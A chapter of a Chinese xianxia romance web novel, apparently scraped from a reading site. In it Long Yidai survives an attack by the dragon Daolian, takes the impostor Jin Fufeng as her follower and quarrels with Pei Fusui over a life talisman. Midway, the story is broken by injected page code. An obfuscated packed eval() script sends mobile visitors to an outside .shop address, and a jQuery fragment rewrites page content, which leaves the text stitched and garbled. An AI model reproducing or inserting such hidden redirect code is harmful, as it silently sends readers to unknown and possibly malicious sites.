假扮成楚云昼的,就是今日在绛霄阙讥讽陇仪黛的其中一位男修。
道门首徒与新入门小师妹之间的秘密约定,本无人知晓,但谁叫楚家临时将楚云昼叫走了呢,这般天赐良机,不该轻易错过。
但眼下情状,还是让金伏风吓了个半死。
陇仪黛依仗陇氏名誉和不息山卫夫人的关系,一进静台,就能和他们这群内门弟子平起平坐,实在是让人记恨。
他本想借着替楚师兄帮忙的名头,私下警告捉弄一下她罢了,但道怜却是想要直接将少女弄死!
难道道怜身为龙族,就不怕卫夫人追杀么?
金伏风哆哆嗦嗦道:“道怜、不,师兄!她是不息山好不容易找回来的少主,我们今日操之过急了,不可,不可啊!”
此时此刻,那把平时望羡至极的乖离剑成了好一颗烫手山芋。
龙族少年睫毛垂下,神情恢复金伏风熟悉的纯粹呆哑。
金伏风自以为说通,右手疯狂抽动,这才发现:这小子将他灵力锁了!
看见他害怕得快哭出来的模样,道怜又露出疑惑。
眼前情状,不就是金伏风想要的么?
深蓝色的乖离愈发逼近陇仪黛的脸颊,金伏风大叫:“师兄、师兄!我错了,我真的知道错了,求求你……不要杀了她。”
要是陇氏的女儿死在这里,他就再也没有入道登神的机会了。
早知如此,他应当同寻常一样,叫那些蠢笨的外门弟子来做这样腌臜的事情。
他只是想捉弄一下,怎么会突然变成这样。
可惜,龙族高傲,哪里会理会金伏风。
神剑下压,薄刃光冷,千钧一发之际,少女手腕处的仙花镯盈盈发亮,须臾间,陇仪黛睁开眼,迅速一踢,樱双随心而动,和她一起移动到道怜身后。
“又是你!”
陇仪黛眼中怒火灿灿。
这小白龙到底抽哪门子的疯,非要把她杀了不成。
她在幼时苦读,曾以为天上仙人都是些心善的主儿,知诗书而明礼节。
可来到修真界才知道,再怎么逼近神的入道者,都是再普通不过的凡人。
七情六欲,喜恶厌憎,没有任何不同。
道怜望向她,十分不解。
她拿了自己的部分龙珠,为何不能偿命?
但眼下少女已然苏醒,又有道主赠与的仙花镯护体,必然讨不了什么好。
道怜不免开始庆幸:如若她自幼生长在不息山,恐怕汀岸一面,早能将他斩首。
……可惜。
陇仪黛有个好姐姐。
他挥挥手,须臾间,消失不见。
偌大仙居林里,只剩下陇仪黛自己和那个早已被吓傻了的内门同修金伏风。
她皱着眉,过去恶狠狠踢了两下:“喂,你假扮楚云昼,到底是要做什么?”
若是要杀她,哪还用得着在那低三下四地求那恶龙。
“我、我……”金伏风咬着牙,蛮气地把泪水擦了个干净,“我错了!再也不敢了。”
陇仪黛:……
陇仪黛:“谁要听你道歉?”
什么错都轻飘飘一句道歉解决的话,那她活着干嘛,干脆直接唯道门这群人是从好了。
桃花纷纷,洒落肩头。
陇仪黛沉吟片刻,开口:“我不接受你的道歉。即日起,你就是我的跟班,我说东,你要敢往西,你就死定了!”
少女凶巴巴的,额间花钿却很美。
金伏风看着她,心脏鼓动得比寻常要快极了,似有异样。
他愣愣的:“哦。”
可陇仪黛比西苑那些师姐差多了,更何况,她还是从凡间来的。
他一定是疯了,都怪道怜这个臭哑巴!
陇仪黛生气:“你这什么态度?”
“遵命,大小姐!”他又想哭了。
陇仪黛摇头:“这还差不多。好了,我现在心里因为你很不舒服,你帮我把裴扶绥叫过来。”
金伏风:“啊?可是、可是……”
少女吹眉瞪眼:“可是什么可是!好啊,我才刚叫你做一件事,你就敢和我闹脾气。”
一个二个,连京都时期的裴扶绥都比不上。
仗着在静台这贵族仙门养尊处优,就敢跟她大眼瞪小眼。
她撇撇嘴,樱双铮鸣,吓得少年大跳起来:“我招,我都招!我今日已经找过他了。”
……这是什么样的霸之意志啊。
陇仪黛惊讶,陇仪黛摇头,陇仪黛无语。
她体内有神契,自然知道小乞丐不是什么凡人。
“那你到底要让我们这新入门的弟子干嘛?”陇仪黛没好气地问。
“我、我就是想让你们来参加两周后的小会而已,”金伏风认命般解释起来,“静台规矩很多,能进入内门的少之又少,日子一长,便如同亲朋好友一般……”
因此,内门每多一个人,他们都会举办一个寻花问卜的小会庆祝,以此加深彼此的关系。
只是,除了卫萝。
新入门的她和裴扶绥都是临时穿插进内门的,相比于他们这些苦修多年的入道者来说,太不公平。
闻言,陇仪黛毫不留情地戳穿他:“你的身份到底哪里低了?”
俗话说,知己知彼,方能百战百胜。
今日,她同数芙一起去膳堂时,了解到许多内门弟子的秘密。
这其中,自然也包括眼前的金伏风。
隐世宗门的亲传弟子,跑来静台当交换生,就可以拍拍屁股,说这一切全靠我自己努力啦?
别开玩笑了!
他要是真那么厉害,哪里会甘愿做她的跟班?
好歹跟自己打上一场再说吧。
金伏风听了,如鲠在喉,本想为自己辩驳,可触及少女明亮的眼睛,又忍不住羞恼。
“我帮你叫他,好了吧。”
干嘛用那种眼神看着他。
金伏风想起父亲口中的那些修炼合欢道的坏女人,不由沉思:难不成……陇仪黛在不息山修炼了魅术?
不然,他怎么会害怕看到她看不起的眼神。
可惜,陇仪黛一点儿也不在乎他的少男情节:“哦,那你快点儿呀。”
他在这磕磕巴巴,还不如早点把她想见的人带来。
金伏风听了,气得咬牙,不想跟她再说一句话,果断走了。
跟班就跟班。
三十年河东,三十年河西,莫欺少年穷!
……
裴扶绥慢步走进仙居林时,陇仪黛早已趴在石桌上呼呼大睡。
她初入门,格外辛苦。
放了课就找乘光过心誓,方才又喝了下了迷药的茶,险些真死在乖离剑之下。
桩桩件件,累坏了。
泱泱桃色之间,貌若好女的少年睨着眼,从上而下看着她。
或是长相的缘故,看着格外情深、心真。
……装什么呢。
陇仪黛在心里嘀嘀咕咕。
她坐起身子,双手环抱,一把勾住裴扶绥的脖子向下:“你来得真慢,莫不是故意拿乔?”
少女笑得娇俏又可爱,像个桃花化作的小仙女。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788445|210267||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
裴扶绥呼吸一下子变重。
她对他如此亲近,这还是第一回。
少年没有阻止,正欲开口,眼前人却立刻将手伸了回去,好整以暇地瞧着他失态的模样。
为何又一次抱有期待。
明明早就失望过,不是么。
裴扶绥冷脸抿唇:“何事?”
陇仪黛托着下巴,像是抓到了他的什么把柄,慢悠悠拉长声音道:“没事就不能找你了么?你别忘了,你下个月的性命还得依靠我呢。”
裴扶绥:“如果没事,我先回去了。”
他说完,发现陇仪黛还是笑眯眯地看着自己。
随州河种种,早就把他训得跟家犬一般。
他生而流浪凡间,对情爱愚钝,却也敏锐知晓,小姑娘的心情很好。
可找他前来的,正是威胁过自己的金伏风,仙居林里亦有打斗过后的灵力痕迹。
裴扶绥不解。
但他回想起方才金伏风那副撞了桃花运的模样,不由皱紧眉头。
见少年陷入沉思,陇仪黛施施然站起。
一张纯白金边的符篆出现在他眼前。
少女比他刚才的脸还要冷:“命符。”
他的命符,在她那。
陇仪黛很认真地看着他,字字清冷:“我不要。”
道主赠与的仙花镯确实是实打实的法宝,没有它,她就不能轻而易举借樱双的力跳到道怜身后。
但真正解除那盏掺了迷药的茶水药效的,是裴扶绥不知何时,放在她身上的命符。
他究竟知不知道:一旦命符有损伤,或者她出了什么意外,自己是真的会死的!
陇仪黛不喜欢这样。
如果有一天,她不小心真死在道怜手上,裴扶绥就要真的替她偿命。
她用吻才救回他,才不情愿他死得这么不明不白。
裴扶绥却道:“你都知道了。”
他不笑时,唇色淡淡,看上去莫名失落。
“你不要它。”
裴扶绥说话说得很慢,慢到陇仪黛很不习惯。
“嗯。”
……她做错什么了吗。
可等到她想观察他的神色时少年已经转过身,只留给她一个挺拔孤冷的背影。
原来,只有默许,才会让另一个人的打量、观察,变得那么容易。
裴扶绥想:他究竟在闹什么呢。
陇仪黛不是一直如此么,他的任何亲近,都是她所厌恶至极的。
她是京都的公主,也是不息山的仙女,是他不可及的云端,同他天壤之别。
少年踩着花瓣,闷声往前走。
他走得很用力,好像要把这一生的困苦潦倒都踩在脚下。
陇仪黛手里还紧紧捏着那张命符,她觉着自己仿若身处天际,眼前的云霞令她欢喜不已。
可裴扶绥却能将她轻而易举拉下。
一颗心也跟着他七上八下。
她说不清、道不明。
纯白干净的绣鞋踩在走过的脚印上,一步、一步,跟在少年身后。
漫天桃花若雨,霎然落了彼此满身。
此朝同淋桃花雨,算不算共白头呢?
无人知晓。
只是,就在快要走仙居林时,一位女修跑近,脸上满是担忧:“阿绥,你没事吧?”
女子心慌极了,嘴里飞快说着什么,好像一点儿没注意到少年身后的陇仪黛。
待她说完,少年依旧不发一言。
蓦地,他恍然惊醒,往身后看去。
可那里,已空无一人。